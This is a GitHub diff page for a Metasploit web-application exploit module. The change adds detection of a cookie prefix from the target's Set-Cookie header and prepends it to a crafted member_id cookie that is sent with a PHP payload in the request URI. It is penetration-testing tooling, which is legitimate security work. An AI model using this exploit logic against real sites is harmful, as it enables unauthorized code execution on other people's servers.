File tree Expand file tree Collapse file tree 1 file changed +15
-1
lines changed
modules/exploits/unix/webapp Expand file tree Collapse file tree 1 file changed +15
-1
lines changed Original file line number Diff line number Diff line change @@ -109,6 +109,20 @@ def exploit
109
109
@upload_php = rand_text_alpha ( rand ( 4 ) + 4 ) + ".php"
110
110
@peer = "#{ rhost } :#{ rport } "
111
111
112
+ print_status ( "#{ @peer } - Checking for cookie prefix" )
113
+ res = send_request_cgi (
114
+ {
115
+ 'uri' => "#{ base } index.php" ,
116
+ 'method' => 'GET'
117
+ } )
118
+
119
+ if res and res . code == 200 and res . headers [ 'Set-Cookie' ] =~ /(.+)session/
120
+ print_status ( "#{ @peer } - Cookie prefix #{ $1} found" )
121
+ cookie_prefix = $1
122
+ else
123
+ cookie_prefix = ""
124
+ end
125
+
112
126
# get_write_exec_payload uses a function, which limits our ability to support
113
127
# Linux payloads, because that requires a space:
114
128
# function my_cmd
@@ -128,7 +142,7 @@ def exploit
128
142
{
129
143
'uri' => "#{ base } index.php?#{ php_payload } " ,
130
144
'method' => 'GET' ,
131
- 'cookie' => "member_id=#{ Rex ::Text . uri_encode ( db_driver_mysql ) } "
145
+ 'cookie' => "#{ cookie_prefix } member_id=#{ Rex ::Text . uri_encode ( db_driver_mysql ) } "
132
146
} )
133
147
134
148
if not res or res . code != 200
You can’t perform that action at this time.
0 commit comments